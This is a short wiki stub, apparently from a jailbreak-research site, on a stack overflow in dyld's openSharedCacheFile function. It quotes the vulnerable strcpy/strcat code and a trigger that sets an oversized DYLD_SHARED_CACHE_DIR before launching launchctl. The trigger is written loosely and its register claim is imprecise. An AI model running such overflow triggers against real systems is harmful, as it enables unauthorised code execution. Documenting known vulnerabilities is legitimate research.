OpenSharedCacheFile

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Revision as of 10:55, 23 March 2015 by IAdam1n (talk | contribs) (Grammar dude! Stub too.)
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The OpenSharedCacheFile bug was found by i0n1c. This bug is a simple stack overflow.

Opensharedcachefile() function

int openSharedCacheFile()
{
  char path[1024];
  strcpy(path, sSharedCacheDir);
  strcat(path, "/");
  strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);
  return ::open(path, O_RDONLY);
}

Triggering the vuln

To trigger it, run the following

DYLD_SHARED_CACHE_DIR = “A” * 2000 \
DYLD_SHARED_REGION = private /bin/launchctl

This will overflow the PC register making it a stack overflow.

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